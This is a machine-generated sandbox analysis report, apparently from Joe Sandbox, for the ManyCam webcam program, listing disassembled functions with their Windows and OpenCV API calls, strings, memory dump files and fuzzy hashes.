Opcode Fuzzy Hash: 0fc2dd0073c28b6c66ec9f54719fca97d74c0b9b452a9e8b98ab4c061e3703d5
Instruction Fuzzy Hash: 9411FA75A00208FFDB04DFE8D944EAE77B9AB88300F10855EFA0697390D734AE05DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00475460 Relevance: 6.0, APIs: 4, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

DeleteDC.GDI32(00000000), ref: 00475479
DeleteObject.GDI32(00000000), ref: 0047548F
??3@YAXPAX@Z.MSVCR80 ref: 004754AB
memset.MSVCR80 ref: 004754E6

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Delete$??3@Objectmemset
String ID:
API String ID: 2240089121-0
Opcode ID: f775acb041dbfe5c56a33f25cd465f9aa31629570cacb76639abf9799f9fa6fa
Instruction ID: 33d3a3a66d25ed9f4d03f09c9153b39c32194220fa2733effb8460e3d87a6c1a
Opcode Fuzzy Hash: f775acb041dbfe5c56a33f25cd465f9aa31629570cacb76639abf9799f9fa6fa
Instruction Fuzzy Hash: 55112AB4A00208EFDB44DF94D888B9EBBB1FF84315F548098D9052B391D779EA85CF80

Uniqueness

Uniqueness Score: -1.00%

Function 004223E0 Relevance: 6.0, APIs: 4, Instructions: 43windowCOMMON

Download Yara Rule

APIs

memset.MSVCR80 ref: 00422406

Part of subcall function 004232A0: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004232B6

wcslen.MSVCR80 ref: 00422427
SendMessageW.USER32(?,0000104D,00000000,00000000), ref: 00422448
SendMessageW.USER32(?,0000100F,?,00000000), ref: 00422460

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: MessageSend$memsetwcslen
String ID:
API String ID: 1629969563-0
Opcode ID: 27b4e246d41088bd54c352e73dc6f3ec4014a33d544db1ace6c82cc66d73829c
Instruction ID: fd28faf10420b3e9cf0d4e7cd47fee78e406ddaa3a8982db2d9a389e17546391
Opcode Fuzzy Hash: 27b4e246d41088bd54c352e73dc6f3ec4014a33d544db1ace6c82cc66d73829c
Instruction Fuzzy Hash: F901E9B1D00208EBEB14DFD0EC8ABDEBBB5BB58704F044118F601AB391DB75A9058B95

Uniqueness

Uniqueness Score: -1.00%

Function 00403340 Relevance: 6.0, APIs: 4, Instructions: 37COMMON

Download Yara Rule

APIs

cvCreateMat.CXCORE099(00000004,00000004,00000005,00000000,00401253,?,?), ref: 00403347
cvCreateImage.CXCORE099(?,?,00000008,00000001,00401253,?,?), ref: 00403366
cvReleaseMat.CXCORE099(000000A4,00401253,?,?), ref: 0040337A
cvReleaseImage.CXCORE099(000000A0,00401253,?,?), ref: 00403388

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: CreateImageRelease
String ID:
API String ID: 3144300847-0
Opcode ID: ffbb64d3606a58d76dd273cbc426d93207a52b513e33f185116b626fbda38bd7
Instruction ID: 4452188ac5ececaf9476ffc26b46a09e5286b645042c6e493afe79c57806edd9
Opcode Fuzzy Hash: ffbb64d3606a58d76dd273cbc426d93207a52b513e33f185116b626fbda38bd7
Instruction Fuzzy Hash: 9DF0E0B5500312B6E7206F146C4AB9B7B94AF52301F040425FE44652C0FB749991C656

Uniqueness

Uniqueness Score: -1.00%

Function 005212D0 Relevance: 6.0, APIs: 4, Instructions: 34threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,004BA301,?,?,004B95C5,00000000,00000000,?,000000FF,?,00000000,?,?), ref: 005212D9
LeaveCriticalSection.KERNEL32(?,?,?,?,004BA301,?,?,004B95C5,00000000,00000000,?,000000FF,?,00000000,?,?), ref: 005212E6
CreateThread.KERNEL32(00000000,00000000,00521280,?,00000000,00000000), ref: 00521303
LeaveCriticalSection.KERNEL32(?,?,?,?,004BA301,?,?,004B95C5,00000000,00000000,?,000000FF,?,00000000,?,?), ref: 00521311

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: CriticalSection$Leave$CreateEnterThread
String ID:
API String ID: 2283434278-0
Opcode ID: 418f5b227edb57f9a6f757c2f81d22d4be826a1a10dd088fbaa45c80337aa0d5
Instruction ID: 8814811c4dcae3b6cb02d0e2ce8d72e62d21bf38926ec32fb9567c6bbb799682
Opcode Fuzzy Hash: 418f5b227edb57f9a6f757c2f81d22d4be826a1a10dd088fbaa45c80337aa0d5
Instruction Fuzzy Hash: 01F03E72201610AAE3705B55FC08BD77BB8EFD1B62F10051EF106D15D0D7A06445D765

Uniqueness

Uniqueness Score: -1.00%

Function 0041E370 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000004E), ref: 0041E37B
GetSystemMetrics.USER32(0000004F), ref: 0041E386
GetSystemMetrics.USER32(0000004C), ref: 0041E391
GetSystemMetrics.USER32(0000004D), ref: 0041E3A2

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: 22b1d73353d5bc3e7bbfce1216fdfc9bbe2c5f0851a8470d3ca0ef857e634515
Instruction ID: 0309d501508c84c491e30ef2097f10fb6b95fe06418acfa07dbdd42ca1e239de
Opcode Fuzzy Hash: 22b1d73353d5bc3e7bbfce1216fdfc9bbe2c5f0851a8470d3ca0ef857e634515
Instruction Fuzzy Hash: 69018078E00209AFE704DF94E8499ACBBB1FF58300F1482AAEE5997781DB702A54DB45

Uniqueness

Uniqueness Score: -1.00%

Function 00488730 Relevance: 6.0, APIs: 4, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

?_Myptr@?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@IAEPA_WXZ.MSVCP80(?,?,00488724,74C45DB3,0049A100,74C45DAF,?,00487BE3,0049A0FC,-0000001C,?,0047AE82,?,00000000,?,?), ref: 00488737
?_Myptr@?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@IAEPA_WXZ.MSVCP80(?,00488724,74C45DB3,0049A100,74C45DAF,?,00487BE3,0049A0FC,-0000001C,?,0047AE82,?,00000000,?,?,0049A100), ref: 00488742
?erase@?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QAEAAV12@II@Z.MSVCP80(00000000,?,?,00488724,74C45DB3,0049A100,74C45DAF,?,00487BE3,0049A0FC,-0000001C,?,0047AE82,?,00000000,?), ref: 00488759
??4?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QAEAAV01@ABV01@@Z.MSVCP80(?,?,?,00488724,74C45DB3,0049A100,74C45DAF,?,00487BE3,0049A0FC,-0000001C,?,0047AE82,?,00000000,?), ref: 00488766

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: U?$char_traits@_V?$allocator@_W@2@@std@@W@std@@$Myptr@?$basic_string@_$??4?$basic_string@_?erase@?$basic_string@_V01@V01@@V12@
String ID:
API String ID: 3537912873-0
Opcode ID: 5056e8f042ebb5b06e388abe9d7013084b117bbf253dc20301d42485009f9af0
Instruction ID: 68c4d93e9c4a580dced358607109a40fa72366f08dc93a0fa3c65411e4fd161c
Opcode Fuzzy Hash: 5056e8f042ebb5b06e388abe9d7013084b117bbf253dc20301d42485009f9af0
Instruction Fuzzy Hash: 6CE01235200108AFEB14EF54EC58D99777BFB98391F008125FA0A8B362DB30AD44DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00435780 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 159COMMON

Download Yara Rule

Strings

4NC, xrefs: 004358D2, 0043598E
4NC, xrefs: 004357CB, 004359AB, 004357CE, 004359AE

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID:
String ID: 4NC$4NC
API String ID: 0-1717309502
Opcode ID: 636313644eab2cc9ed53f4b1fb6c7fe5ccbcacf0ac8ecf14d2ef5cb6642a3b42
Instruction ID: edff85f3833ba22acf9ab8710c3cb5385f553245e4d39bd84e7972ae7c9abc0b
Opcode Fuzzy Hash: 636313644eab2cc9ed53f4b1fb6c7fe5ccbcacf0ac8ecf14d2ef5cb6642a3b42
Instruction Fuzzy Hash: 93616D70900508DFDB08EFA6D896BEEBBB5BF44318F10452EE5166B2D1DB782945CB88

Uniqueness

Uniqueness Score: -1.00%

Function 004B3190 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157comCOMMON

Download Yara Rule

APIs

Part of subcall function 00438A10: clock.MSVCR80 ref: 00438AA7
Part of subcall function 00438A10: _DebugHeapAllocator.LIBCPMTD ref: 00438AC5

OleCreatePropertyFrame.OLEAUT32(?,00000000,00000000,?,00000001,?,00000000,?,00000000,00000000,00000000), ref: 004B335F
CoTaskMemFree.OLE32(?,?,?,74C45DB3), ref: 004B337C

Part of subcall function 00438AF0: clock.MSVCR80 ref: 00438B1F

Strings

CGraphMgr::ShowCameraProperties, xrefs: 004B31C1

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: clock$AllocatorCreateDebugFrameFreeHeapPropertyTask
String ID: CGraphMgr::ShowCameraProperties
API String ID: 2338886374-3071715877
Opcode ID: b892e083cea794b7bef9db6e71d19fafbfb14f69ee18f4ad05b9c8b3defac545
Instruction ID: 691d08390fa4834040d12ba73b1f3886b5f8bcf1a23ad6f21803c9f1b6b811bf
Opcode Fuzzy Hash: b892e083cea794b7bef9db6e71d19fafbfb14f69ee18f4ad05b9c8b3defac545
Instruction Fuzzy Hash: 7B611571904618DBDB14DF95CC95BEEB7B4BF48304F10419AE00AAB291DB786F84CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041E140 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00406640: GetDlgItem.USER32(?,00000000), ref: 00406651

Part of subcall function 0041A3B0: _DebugHeapAllocator.LIBCPMTD ref: 0041A415
Part of subcall function 0041A3B0: _DebugHeapAllocator.LIBCPMTD ref: 0041A437
Part of subcall function 0041A3B0: _DebugHeapAllocator.LIBCPMTD ref: 0041A455
Part of subcall function 0041A3B0: _DebugHeapAllocator.LIBCPMTD ref: 0041A47D
Part of subcall function 0041A3B0: ?Load@CxImage@@QAE_NPB_WK@Z.CXIMAGECRT(00000000,00000000,?,00000000,?,0053E990,?,?,?,?,?,\class.xml,?,?,?,data\images\), ref: 0041A530

Part of subcall function 0041DE10: ??_V@YAXPAX@Z.MSVCR80 ref: 0041DE55

Part of subcall function 0040DA40: MoveWindow.USER32(000001E2,-0000012B,000001E2,00000000,00000000,00000000,?,?,00408A2E,0000006D,0000002D,00000157,00000017,00000001,00000000,?), ref: 0040DA61

Part of subcall function 0041AA40: GetWindowLongW.USER32(?,74C45DB3), ref: 0041AA51

Part of subcall function 0041E880: SetWindowLongW.USER32(74C45DB3,00000001,74C45DB3), ref: 0041E895

SetLayeredWindowAttributes.USER32(?,00000000,000000B2,00000002,000000EC,00000000,000000EC,0000000A,0000000A,0000002D,00000014,00000001,Apply the selection,button,00000000,74C45DB3), ref: 0041E1F1

Part of subcall function 0041E8B0: MoveWindow.USER32(?,?,00000000,?,00000000,00000001,-00000003,?,0041E25F,?,00000001,?,?), ref: 0041E8E7

Part of subcall function 0041E370: GetSystemMetrics.USER32(0000004E), ref: 0041E37B
Part of subcall function 0041E370: GetSystemMetrics.USER32(0000004F), ref: 0041E386
Part of subcall function 0041E370: GetSystemMetrics.USER32(0000004C), ref: 0041E391
Part of subcall function 0041E370: GetSystemMetrics.USER32(0000004D), ref: 0041E3A2

Strings

Apply the selection, xrefs: 0041E19C
button, xrefs: 0041E18C

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Window$AllocatorDebugHeapMetricsSystem$LongMove$AttributesImage@@ItemLayeredLoad@
String ID: Apply the selection$button
API String ID: 70508497-2603280126
Opcode ID: 325f42cf690be37cc5bd74bc9656fe42c8c439b5651ae68e07e9d9de847688b4
Instruction ID: 04a5c8e6f4919bc5989b0440a3589c8b02fa676512b2dbfed97fa3f5bca5e94e
Opcode Fuzzy Hash: 325f42cf690be37cc5bd74bc9656fe42c8c439b5651ae68e07e9d9de847688b4
Instruction Fuzzy Hash: 6D310B70A40208ABDB08EBA5DD92FADB775AF44718F10011EF502A72D2DB797941CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00435670 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00438A10: clock.MSVCR80 ref: 00438AA7
Part of subcall function 00438A10: _DebugHeapAllocator.LIBCPMTD ref: 00438AC5

Part of subcall function 0041E040: SendMessageW.USER32(?,000000F5,00000000,00000000), ref: 0041E056

_DebugHeapAllocator.LIBCPMTD ref: 00435704
memcpy.MSVCR80(00000020,00000000,00000000,00000000,?,?,?,74C45DB3,00000001,00000000,?,?,?,00000020,?,00000000), ref: 00435723

Part of subcall function 00419570: PostMessageW.USER32(?,00000000,?,?), ref: 00419589

Part of subcall function 00438AF0: clock.MSVCR80 ref: 00438B1F

Strings

CMainDlg::OpenAddEffectDialog, xrefs: 00435698

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeapMessageclock$PostSendmemcpy
String ID: CMainDlg::OpenAddEffectDialog
API String ID: 7737251-3153126156
Opcode ID: 5a6f9c85550b11fb3c54acd39933119bb4ee69e21832babafbe1f14f516fe882
Instruction ID: f2d46c62957b3d269f85c1c68510b4d6c97596dd61a1effc0ae980705c6bf08d
Opcode Fuzzy Hash: 5a6f9c85550b11fb3c54acd39933119bb4ee69e21832babafbe1f14f516fe882
Instruction Fuzzy Hash: 3E314FB1D01118ABDB04EFA5D852BEEBBB4FF48314F00452EE416A72D1DB39AA44CB65

Uniqueness

Uniqueness Score: -1.00%

Function 017241A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

cvError.CXCORE099(000000E5,cvSeqElemIdx,017A124F,.\cxdatastructs.cpp,00000243), ref: 01724242

Strings

cvSeqElemIdx, xrefs: 0172423B
.\cxdatastructs.cpp, xrefs: 01724231

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error
String ID: .\cxdatastructs.cpp$cvSeqElemIdx
API String ID: 2619118453-2925048379
Opcode ID: b71ff108badcc0a5d868266fc04c6869609b46320e0caf35036c63fd49ea754f
Instruction ID: 5a18cd3d4c7469331417448bf6e3d98ab0d8e0a368f62a85b76909d77b468101
Opcode Fuzzy Hash: b71ff108badcc0a5d868266fc04c6869609b46320e0caf35036c63fd49ea754f
Instruction Fuzzy Hash: FB2104773052114B8714CDAEECC0856F7A6EFD1632328876ED9268B68AC731F8478740

Uniqueness

Uniqueness Score: -1.00%

Function 0041EED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000004), ref: 0041EEDD

Part of subcall function 0040DA70: SetWindowPos.USER32(000001E2,-0000012B,000001E2,00000000,00000000,00000000,0040880B,?,?,0040880B,00000000,00000000,00000000,000001E2,-0000012B), ref: 0040DA95

Part of subcall function 004065F0: GetParent.USER32(?), ref: 004065FD

Part of subcall function 00406670: GetParent.USER32 ref: 0040669A
Part of subcall function 00406670: GetWindowRect.USER32(?,?), ref: 004066C0
Part of subcall function 00406670: GetWindowLongW.USER32(00000000,000000F0), ref: 004066DD
Part of subcall function 00406670: SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0040670D

Part of subcall function 00406640: GetDlgItem.USER32(?,00000000), ref: 00406651

Part of subcall function 00408120: ??_V@YAXPAX@Z.MSVCR80 ref: 0040815C
Part of subcall function 00408120: lstrlenW.KERNEL32(0040641C,?,?,00000000,00000000,00000000,00000000,0040641C,00000000), ref: 00408172

Part of subcall function 0040DA40: MoveWindow.USER32(000001E2,-0000012B,000001E2,00000000,00000000,00000000,?,?,00408A2E,0000006D,0000002D,00000157,00000017,00000001,00000000,?), ref: 0040DA61

MoveWindow.USER32(00000000,00000000,00000001,000000E7,0000005F,00000048,00000017,00000001,00000113,00000034,000000C6,00000017,00000001,http://www.manycam.com/codec,00000000,00000211), ref: 0041EF99

Strings

http://www.manycam.com/codec, xrefs: 0041EF48

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Window$MoveParentSystem$InfoItemLongMetricsParametersRectlstrlen
String ID: http://www.manycam.com/codec
API String ID: 3918154117-1165702928
Opcode ID: 3c772632c4e0218f7060b3e77bd1fd24f4dad1a2c19bf84bf2807e60cca908d2
Instruction ID: 149f93423e983da9d283a3b54f422c1b69b7f72d1b3e7c1b80e5497dd6e0fc8b
Opcode Fuzzy Hash: 3c772632c4e0218f7060b3e77bd1fd24f4dad1a2c19bf84bf2807e60cca908d2
Instruction Fuzzy Hash: 5C110D70B802096BFB18E7A5CC67FBE7225AF44708F00042DB717BA2C2DAB96520865D

Uniqueness

Uniqueness Score: -1.00%

Function 0172A1D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

cvError.CXCORE099(000000E5,icvPolyLine,017A124F,.\cxdrawing.cpp,00000673,?,?,?,0172A62F,?,?,?,?,?,?), ref: 0172A212

Strings

icvPolyLine, xrefs: 0172A20B
.\cxdrawing.cpp, xrefs: 0172A201

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error
String ID: .\cxdrawing.cpp$icvPolyLine
API String ID: 2619118453-3292343506
Opcode ID: 637dffaa22c53c89192e7600c74b50fb8741fcb60c4484811713ce2aa621e053
Instruction ID: c19acd22608767ec099636007452d14f74ebc01753e4af58e8b4c154ba876627
Opcode Fuzzy Hash: 637dffaa22c53c89192e7600c74b50fb8741fcb60c4484811713ce2aa621e053
Instruction Fuzzy Hash: 091127B2B083206B8714D95EDC50C67F3EADFC8B24F14822DF50993219E671FA0686A0

Uniqueness

Uniqueness Score: -1.00%

Function 004C4AC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80(00000000,00533F58,?,?,?,?,?,?,004BCB55,?,00533F58,000000FF,00533F58,004B85D2,00000000,00000000), ref: 004C4AD1
_invalid_parameter_noinfo.MSVCR80(?,00000000,00533F58,?,?,?,?,?,?,004BCB55,?,00533F58,000000FF,00533F58,004B85D2,00000000), ref: 004C4AEE

Strings

X?S, xrefs: 004C4B3E, 004C4B6F, 004C4B4E, 004C4B64, 004C4B41, 004C4B51

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: X?S
API String ID: 3215553584-928156776
Opcode ID: 300afce18172fda367b1e5a93a3139029df3230341556c5fc4a0edfbb8e029cc
Instruction ID: 6e252d52473bf057cc5c9ab3544af976a75f27afc912d5b1b1ccf3972680467b
Opcode Fuzzy Hash: 300afce18172fda367b1e5a93a3139029df3230341556c5fc4a0edfbb8e029cc
